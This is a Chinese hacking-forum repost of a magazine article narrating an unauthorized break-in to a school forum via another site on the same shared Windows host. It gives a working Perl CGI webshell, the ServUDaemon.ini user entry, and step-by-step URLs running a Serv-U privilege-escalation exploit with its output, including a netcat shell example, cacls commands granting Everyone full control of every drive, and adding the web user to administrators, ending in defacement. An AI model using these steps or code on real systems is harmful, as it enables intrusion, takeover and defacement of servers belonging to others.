找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1962|回复: 0
打印 上一主题 下一主题

剑走偏锋——灵巧的旁注攻击

[复制链接]
跳转到指定楼层
楼主
发表于 2012-9-15 14:11:50 | 只看该作者 回帖奖励 |正序浏览 |阅读模式
剑走偏锋——灵巧的旁注攻击 ) n1 |  S: a. p1 ?
本文作者:angel
( m. O- M& [2 h, {# c文章性质:原创9 l6 x$ \4 Z8 ?+ v
发布日期:2004-11-09 ) v( I# b' u& F! ~1 V& F
注意:
0 f: h( J; G8 x* X本文的技术并不是最新的,涉及到的技术含量也不是很多,重要的是其中的渗透思路。2 g' W8 j2 l9 J
本文已在《黑客X档案》11月刊发表,版权归本站及其杂志社所有。( b; o# S; G3 S8 Q! B6 p7 }7 o7 e
; b7 n$ z( G; I* l! h# E( B
  终于高中毕业了,一定要在暑假努力学习,发奋学习,以前入侵少之又少,都是研究这样研究那样,实战经验太欠缺了,所以决定暑假恶补一下渗透技术,顺便又可以看看国内主机的安全性。暑假 6 月整整学习了一个月的渗透,从 xiaolu 身上学习到不少好的思路和经验。在此谢谢 xiaolu 了。
  B; R0 S* P* i1 P5 R. z" q# [/ P( A6 A6 ?- b. K  q
  一个多月的时间里,渗透过上百台服务器,有独立的,有虚拟主机的,有群组的,有国内和国外,我发现一个极其严重的问题,国外的服务器,普遍安全性都非常高,管理员的安全意识非常高,做个比例,如果国内平均每 10 台服务器,能渗透进去 6 台甚至更多,那国外、台湾的,平均每 10 台服务器仅仅能渗透 1 台。当然我的水平也是一个问题。可是却反映出国内的管理员的水平的的确确比国外的要差几个档次。国内的管理员的技术和意识,迫切需要大幅度提高。 9 _( @) s  u" p0 S8 U0 f* @9 r
, s' J1 h' e+ X$ U, S
  不过国内的也有比较 BT 的管理员,我就遇见几个服务器设置得非常。其中一个的 Documents and Settings 目录下还有 nsfocus 目录,难道是 nsfocus 公司帮做的安全?这个服务器我们没有拿下,还有另外一个,就是今天的重点。
. b- ^8 C/ j% l& R
3 k8 r  r/ j9 u0 s/ E; L) v7 V  一次看见了一个学校论坛(http://www.school.com),还蛮火爆的,顿时兴趣来了, ping 了一下,发现 4 个包都返回 Request timed out. 估计是搞了策略或者防火墙的,象我这种以 Web 安全的,自然喜欢从站点上找漏洞,自从学习 Web 开始,我就落下一个怪癖,就是如果实在从 Web 上找不到什么漏洞,宁愿放弃也不用什么漏洞扫描器。   h, K0 j- h3 U% q4 g" F2 V
' b4 O% O+ Y/ u
  大概看了看站点。就是一个论坛,采用 LeadBBS ,拿这个论坛没辙,还有其他办法,因为刚才我访问这个 IP ,返回“No web site is configured at this address.”,初步判断是虚拟主机,前段时间那几个黑站狂黑站的成功几率为什么这么高?因为有 http://whois.webhosting.info 这个网站,可以查询一个 IP 上,绑定了多少个域名。如果真的是虚拟主机,这个学校论坛没有漏洞,不代表其他站点就没有,很快的,我就通过一个小公司站点( http://anyhost/ )上的 DVBBS 6.0 传了一个 aspshell 上去,谁知道仅仅能够对自己的目录进行操作。而且自己的目录没有执行程序的权限,又用不了 Nfso ,手工跳转 URL 中的目录,也没有多少个可以浏览的,重要的 Program Files 和 Documents and Settings 目录都看不了,从 aspshell 反馈的信息来看,每个站点都设置了单独的用户,似乎一切都陷入僵局。
' B& m) |( v) L, ^; G) A
7 C+ @  x0 @* w. G# U  没有目的的跳转目录着…… % u& S( X0 ^+ x) a/ J  }
4 U; y3 W4 b2 ^7 ]2 R
  我习惯性的在 URL 跳转到 c:\php,没想到居然可以看见了,那这个主机很可能就会支持 php 了,马上传了一个 phpspy 上去,非常幸运,顺利看到了登陆入口,可是没想到进入以后才发现,php.ini 亦设置得异常 BT,安全模式打开了, phpinfo 函数也被禁用了,看不了详细的系统信息,不过看 phpspy 自带的探针可以发现,allow_url_fopen、display_errors、 register_globals 统统关闭,system、passthru、exec、shell_exec 几个函数都无一幸免的被禁用了,直接跳转目录还是只可以看到这些目录而已,各个站点的目录都是类似于 “D:\websites\school.com#dlfjurdlkfjk” 这样的,每个站点目录后面的那些字符串都不一样,也跳转不到,后来我猜测后面的字符串就是 ftp 密码,试验了一下,无法登陆,看似柳暗花明,希望又破灭了……
& m. \% V% D! P- m1 g1 L
+ R4 j+ R% }7 Z  结束了吗?不,我试着 FTP 一下: ' R3 y) b1 D  F6 _% V

: Z7 }0 A4 L* v# p  i- s, |7 WMicrosoft Windows 2000 [Version 5.00.2195]
7 a4 q- a6 {. L+ V9 m( N(C) 版权所有 1985-2000 Microsoft Corp.
( `/ ^2 F0 G7 H, h5 |" Q( x( G. }
C:\Documents and Settings\Administrator>ftp www.school.com' i8 m9 z- {( b' m& ]
Connected to www. school.com.
# J9 z( y+ d) g1 h% b220 Welcome to FTP Server... , U% C/ e0 ~- q0 J( C: E
User (www.bjtrq.com:(none)): ! n" k- j9 z, k, A1 h6 m
331 User name okay, need password. / i1 m/ B/ y5 J$ S9 i1 p! `
Password: : E9 N: ]4 i0 w" ^: T
530 Not logged in.
/ M$ R& G' k$ g: ^9 n. W5 fLogin failed.
8 N) Y, K2 j: J6 \! cftp> bye ) `* o7 W# v3 V5 x
221 Goodbye! % x7 S( D- d7 Z' I3 q$ G& U) V
) |6 Y+ V. f2 h( S& G9 w2 @' d8 B1 P

- w( v% K- y) m- Z, T. W3 E* G  从返回的信息判断,我们还是有希望的。尽管他修改了 FTP Server 的 Banner,但是从 User name okay, need password. 这句我们还是大胆的判断这个服务器就是采用 Serv-U ,我上手有目前所有版本 Serv-U 本地提升权限的 Exploit ,如果我能传一个上去,并且能够执行,一切就明朗了。再仔细想想有哪个目录可以写的?当时在 c:\php 目录下没有发现 sessiondata 目录,而且也不是自动安装版,估计管理员把 session 的目录换到其他地方了,不然这个目录是 everyone 可写的……
) O. w5 R* ~$ @8 p4 N! E6 t/ w; f3 a' e0 y
  原来我还忘记了一个最重要的目录, C:\Documents and Settings\All Users ,从这个目录可以知道很多信息,这个目录一般、至少都是 everyone 可读的,这样我们就可以知道好多有用的信息了,直接通过我的 aspshell 手工跳转到这个目录,呵呵。马上看到了想看的目录树。
5 o8 z3 f) f9 j- z2 x2 X/ b" G7 L+ I( C
Application Data
* X3 O0 q4 h: v% O  v# Z* QDocuments. h# y  e, O+ I: D+ I: r$ _
DRM) v/ o4 J3 W, P, ?
Favorites
+ c& D, l  d, F- T7 X! dTemplates
* z% R% [$ A7 n' _7 c2 `5 W「开始」菜单
7 l* f: g+ \- A% _# q; y. x  F桌面
. i0 o+ I3 ]9 ?8 c6 B, ?
$ X- ?1 J9 y! ~4 _: |! C, d! N5 A4 }/ u* X
  马上试试建目录,可惜里面的目录包括子目录都无法新建, BT 管理员权限设置得还真严格,不过我们还是有收获的,那就是 “C:\Documents and Settings\All Users\ 「开始」菜单 \ 程序 \”目录里,看到了很多决定结果的有用信息,
  @1 C* t2 R: Q6 O
( o* L8 v) c) M/ |- {/ QActiveState ActivePerl 5.8
" [2 C5 Q% |$ K$ iAdministrative Tools, P! m( L! y) [) A; Y0 a2 x# n9 O+ ?
Deerfield.com2 T9 C6 E( g) H& {# V
DTemp
4 [) s; N: u, [( B, ~/ K* DIPSentry  L" O( C1 ~- x: p7 t* b. v- q/ |
MBM 54 f! D3 l" x! ]
NetMeter
9 k/ x5 a" q* zNetwork ICE- I$ i& z+ k! ~
Persits Software AspEmail
1 H$ N; b- u/ T$ f' i; YPersits Software AspJpeg
" f8 ^. z7 g1 r) F- Y) [Serv-U FTP Server: q7 k5 }: N: B8 {
Symantec Client Security/ q; _3 ^1 [2 n! [0 K" \5 f
Windows 优化大师6 ?# u( }4 f: T3 A/ I# F
WinRAR
( ]0 ]6 G/ V# j4 [启动
3 _  p+ p2 ?" p3 H4 I' K管理工具
" W# [$ v+ Q6 D5 F9 p- H( w附件
# M: j) ]/ ]! h% [
8 k5 O  a: R  H( n7 l
" U9 D  g) n" \8 B, `  呵呵,现在我们知道了好多有用的信息了,看着这些东西,可以看得出管理员对安全、效率很在意,装了 Perl,也就是说可能支持 cgi 了, IPSentry 这个可以实时检测网站的各类服务, 当某服务停止时, 该软件会打 Pager, 或 EMAIL,或发声,或运行其它软件来提醒管理员,确保服务器出现问题能及时处理,说明管理员比较负责任,NetMeter 可以对网络流量进行监控,装了黑冰防火墙和诺顿杀毒服务器版,说明管理员对于服务器的安全是很小心的,这还不算,还装了另外一个防火墙——VisNetic Firewall,真是 BT 到家了,装了优化大师,看得出这个管理员还是比较爱清洁的。从管理工具里面我们还看到了终端服务客户端生成器.lnk 、终端服务配置.lnk ,还有终端服务,这下好了,说不定顺利就可以多一台 3389 肉鸡了。 6 a/ Q! ]; S( W: G$ [, X9 [

' P. t5 y/ o' X1 B- l  先通过 aspshell 下载 Serv-U 的任意一个快捷方式,然后本地查看属性的目标,呵呵,原来 Serv-U 的目录是 "C:\Program Filesewfq4qrqtgy4635\Serv-U\" ,这下好了,直接跳转目录。OH~,yes~~,看到了,马上修改 ServUDaemon.ini文件,这个服务器居然放了 280 个用户,狂晕……不管了,先在添加 [Domain1] 里加一行:
1 |& Y; J  K7 Q" n0 I+ J- s6 S+ L( y; q  n( L
User281=angel|1|0
& T$ R' S: B; { 9 }% @: U( o) M0 t- N* r+ r
& S4 y, y4 E, ?3 Q$ w( P6 H
  然后加上
! ^6 l$ ^$ w8 o- m: W/ a- t
, \) K* U4 W* q- `* Q0 ][USER=angel|1]) y+ c$ t, |4 s) z3 O' H) J
Password=ng98F85379EA68DBF97BAADCA99B69B805
; @" L4 q/ m1 v6 G$ U# W1 FHomeDir=D:\websites  C3 }0 i+ F4 x- `# R5 e3 u0 J
RelPaths=1
2 K  H- g0 |8 Q3 F4 t6 ETimeOut=600* {2 F9 }% Z7 C# J! U+ z/ B
Maintenance=System3 c" ^" X& n% m. C( {) I
Access1=D:\websites|RWAMELCDP8 @6 V( _7 l: f' j) C+ c
SKEYValues=
; t8 s# L; n- A% N+ M ! E$ H1 f! ?* J2 z! e

% C; A  G# _0 Z- z/ M* X  添加一个 angel,密码为 111111 的用户,具有最高权限执行,然后我们就可以 ftp 上去 quote site exec xxxxxxxx 了,嘻嘻偷笑中……
2 V: a* i% y" u9 ~  y/ `3 f( Z- u& j$ _+ d
  不过残酷现实再一次粉碎了我的计划,修改好文件以后提交,居然是没有修改成功,看来还是权限,权限权限整惨人啊。 8 R7 X1 X  A6 l5 d8 D. Y

' X' ~# [( ~9 u" \5 u; C  不过还是有希望的,因为刚才我们看到了系统装了黑冰,有些版本存在“ISS RealSecure/BlackICE 协议分析模块 SMB 解析堆溢出漏洞”,可以远程利用的,手头上没有编译器,没有办法编译代码。 : `5 p. f$ ^( ^

( c, K. H6 O3 {* k  }0 V. n  还有就是 Perl,这个是个很大的突破口,因为 Perl 目录一般要 erveryone 完全控制的,不管他用 isap 还是 perl.exe 一般都是可写、可执行的,马上下载 Perl 的快捷方式来看看路径,呵呵,看到了,原来 D:\user\bin 就是存放 perl 的 bin 目录下的所有文件,这么说这个目录可能可以写,也可能可以执行咯,马上传一个 su.exe(针对目前所有版本的 Serv-U 本地提升权限漏洞)上去,呵呵,传上去了,太好了,现在就是执行了,刚才我们试了 aspshell、phpshell 都不行,现在就看最后的希望了,找呀找啊,终于在我硬盘上找到一个 cgishell,很老了,文件日期是 2002 年 6 月 30 日的,代码如下: $ }; o1 o. V! r: M

. Y- s7 {9 K# A5 z2 I# h#!/usr/bin/perl: E( v* Z2 p0 n( m# ]
binmode(STDOUT);% _: t: G6 B% ^* J7 |# {
syswrite(STDOUT, "Content-type: text/html\r\n\r\n", 27);4 u, U7 ~- M! G; J
$_ = $ENV{QUERY_STRING};
/ x. E5 [* n; b! \s/%20/ /ig;
- B, f% t/ f- Z5 A+ bs/%2f/\//ig;
) Q3 p) V/ Q$ ~$execthis = $_;6 {9 \9 |3 V! r5 [7 y( u
syswrite(STDOUT, "<HTML><PRE>\r\n", 13);
3 G1 h/ ]5 T+ k1 |. L; _" Oopen(STDERR, ">&STDOUT") || die "Can't redirect STDERR";: o% ~' f& @6 n/ O
system($execthis);. P6 c' R7 T2 O& y4 F
syswrite(STDOUT, "\r\n</PRE></HTML>\r\n", 17);' l) S4 Q& C# H& V. `
close(STDERR);# E- g4 T  I  {8 G6 i, v! x$ x# w
close(STDOUT);3 d" I; B* |( S
exit;
- u! Z  I- G, e5 F6 r/ { 9 V) W# u/ H7 S

0 S9 G$ S  y6 f- u4 n  我用过最好的 cgishell ,保存为一个 cgi 文件执行,晕……居然不支持!一阵阵郁闷袭来,2 秒钟的郁闷后,想到还有一线希望,那就是pl ,我们还没有试试 pl 扩展呢,把刚才的 cgi 文件改为 pl 文件,提交 http://anyhost//cmd.pl?dir ,我的天啊!! + e+ k2 k8 ?  @
+ {5 K8 r+ I* e/ c
  显示“拒绝访问”,终于可以执行了!太兴奋了,马上提交: 6 `. Q) h) [. X& z6 t- `* h, S7 S* }

. x, D3 Q. F+ l1 ~2 Ihttp://anyhost//cmd.pl?d:\user\bin\su.exe
& P# A  Z- N" [2 H, K6 X5 ^1 h9 [" m
* j, q( Y# C8 H
7 x. z8 q9 n' D9 [1 n2 S  返回: ' \# c9 Z) a2 [5 o$ B8 M

- B7 C$ R# T/ t6 u& e7 m2 dServ-u >3.x Local Exploit by xiaolu
6 R  @3 c3 X# |( Q
+ R; h" X% m: `3 O7 T, Z* U4 G$ qUSAGE: serv-u.exe "command" 5 [+ I) B. z/ H& r" Q0 g

1 P2 @* {4 j& iExample: serv-u.exe "nc.exe -l -p 99 -e cmd.exe"
, }0 W1 |) V9 ~3 x+ L ' p5 n) t, _" u4 Z$ w6 k" F
; f5 ^6 ~' F; K: R3 O
  嘻嘻~~现在是 IUSR 权限,那又怎么样?看你这次还不死?提交:
! b/ P: ], X( S; M. f$ Q3 z! u, M. ]- \. c
http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe c: /E /T /G everyone:F"
, x9 S# M* ~: Z' S: R' p  z9 w' [3 k9 I: y9 Z' {1 |8 C
http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe d: /E /T /G everyone:F"
) ]! x5 x  f, t; q  d% b: p5 c2 Y+ N: ?$ Z8 f7 U% d# M
http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe e: /E /T /G everyone:F" + u$ ~6 Z- h  V2 O- J/ Q
5 I5 }% S1 d, ~$ l8 @6 S9 B/ M' O
http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe f: /E /T /G everyone:F" 2 A1 R* a+ P  l1 A) z

8 k5 ^4 _$ L" f% m
7 j+ [; |$ H. B7 [9 s% j" y  返回下面的信息,就表示成功了!!! 5 b* R6 v6 [6 K
* ^1 k$ l) ~, B/ q& K! R; O
Serv-u >3.x Local Exploit by xiaolu ! b2 j% E1 \# t
# d3 f  b, [; U$ ?9 ~  j  r, \
<220 Serv-U FTP Server v5.2 for WinSock ready...
* E; T: L; u7 Q- i' ^& M( w$ p2 Y- e  U- ^% c
>USER LocalAdministrator
9 V* S  Y" c0 z3 j4 d1 `' ^4 L% }9 V( r0 K; K
<331 User name okay, need password.
1 e6 y! h$ P2 y0 x' c- O  F" @/ d& c# n5 F+ p' D/ j* l
******************************************************
3 O+ Z' Y4 A# C# i% [# ]( G. V5 s. v7 R0 o
>PASS #l@$ak#.lk;0@P # U* b# [; S$ b, V0 z
$ C. G! z; T3 g5 g- G" k
<230 User logged in, proceed.
" a) b) M# e  ~9 c  v, o1 }0 T8 i9 i4 X  O! m- ?
******************************************************   N; \) o2 s, X& u# c. {

- y/ W& O: b1 N( {- `" Y6 X>SITE MAINTENANCE
2 N' `! F$ C' r6 R/ i2 V6 _
+ F  {- L; i2 C4 W/ T****************************************************** - u3 n" |, s7 x0 l7 ~! P' [9 r
* |2 d4 d. ^' I- K6 X
[+] Creating New Domain...
5 t; |; M  |2 d2 O6 K7 Z4 x
: k2 E* V( @) C) H5 E. [( E+ T- u" E<200-DomainID=2 5 L6 r6 n5 c: V3 i- t. I! I- m$ F
6 O! v. v6 C: C: f: k: h" T" x4 n2 f
<220 Domain settings saved
0 u' R) S1 L& W2 q
2 _- N3 q% `9 n' c  G0 G******************************************************
. J; z& N# N  C* i0 t2 |
3 a* \4 ]. b& M' s" X! n( _+ B: s[+] Domain xl:2 Created ; e) ]: q; P% e' \- u5 _& m

9 g' y) x' _, |. w: y[+] Creating Evil User 2 |3 t. l3 p9 t, m$ y, F' U% `

; b- W8 \$ ]5 F( G0 f& {<200-User=xl
. X+ n0 J. [0 N+ T6 K& m
6 C% H& Q: M0 j# E9 q200 User settings saved
  H2 D; h* I7 U; i0 `9 S. v, J+ }$ U7 D  l# C2 e: t
******************************************************
2 }1 q/ E/ H! {* c; S6 f! B
6 K' L% V% t( B2 B[+] Now Exploiting... . z! w; Q2 F+ Z8 |+ j7 A* J

4 b/ w$ Y; U* T' R) O>USER xl
- m4 w' \* \. B" _' v4 d8 ]* l" y6 r4 j
<331 User name okay, need password.
+ a- y0 z8 E! h; e# b- d- {0 d8 v' Q# I- Y9 u" g: e- E/ V
****************************************************** " }% k; F% @# x9 ]1 @- n

- S0 @: M* k0 w& H>PASS 111111
3 Q5 D  Q$ l* m6 V0 v: @, ^0 [4 ]/ X) w6 h' R9 y
<230 User logged in, proceed. ( B# G; u7 K4 h4 i$ R

- ?5 i" n1 s' Y5 m+ R0 v******************************************************
' ~: Q' Y. ^5 j: S8 |" k( j$ N$ V& `5 F4 U2 v. W# l
[+] Now Executing: cacls.exe c: /E /T /G everyone:F # N3 I0 Y# z9 a
" n7 R& h: Z& I. m: t' h4 X
<220 Domain deleted
3 q2 N) B, ], q" r3 r2 I0 |% `3 m- Z% @4 ^; `9 h9 d
******************************************************
( y9 ~) ~9 v* T# {8 J- l0 b
  @$ A! Y& s( l! f
/ k, b- s/ U3 I3 l& N0 N1 t  每提交完一次都稍微等一下,因为这些命令需要时间处理的,不一会儿,就把所有分区设置为 everyone 完全控制了,可以任意操作硬盘的东西了,但是有些命令还是受了限制,因为权限还没有提升,现在我们把自己的用户提升为管理员:
9 F) P1 G8 ]: A% @; [
% j4 ~" ]/ W8 ~http://anyhost//cmd.pl?d:\user\bin\su.exe " net localgroup administrators IUSR_anyhost /add" ' `% g2 a! [6 a4 P$ i  Z4 S6 c0 \

4 u" t; t" \3 e7 `
( m8 g7 d3 H$ Y: G  现在我们通过 web 方式,执行的命令就是以 administrator 的身份执行的了,相信到这里,下面的事该做什么,大家应该知道了吧?马上找到那个学校的目录,进去咯~~目的达到了,本来还想做一个 3389 的肉鸡的,想想算了,这种 BT 管理员的地盘,我也占领不了多久,留点提示到他的桌面就 over 了。 5 U# W7 {6 p! i
% l. ~- f. ]( i" @
  说真的,搞安全这么久,从来没有遇见这么棘手的虚拟主机,要不是装了 Perl,还真是束手无策!本文技术含量不高,只是分享一下希望其中的思路,如果有一个人从中受益,这篇文章就完成它的使命了。8 f9 o+ p. N: O# n
+ P$ @! @( ^) D2 k* w, G
    ~- v0 w  S  o- L: g. v
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表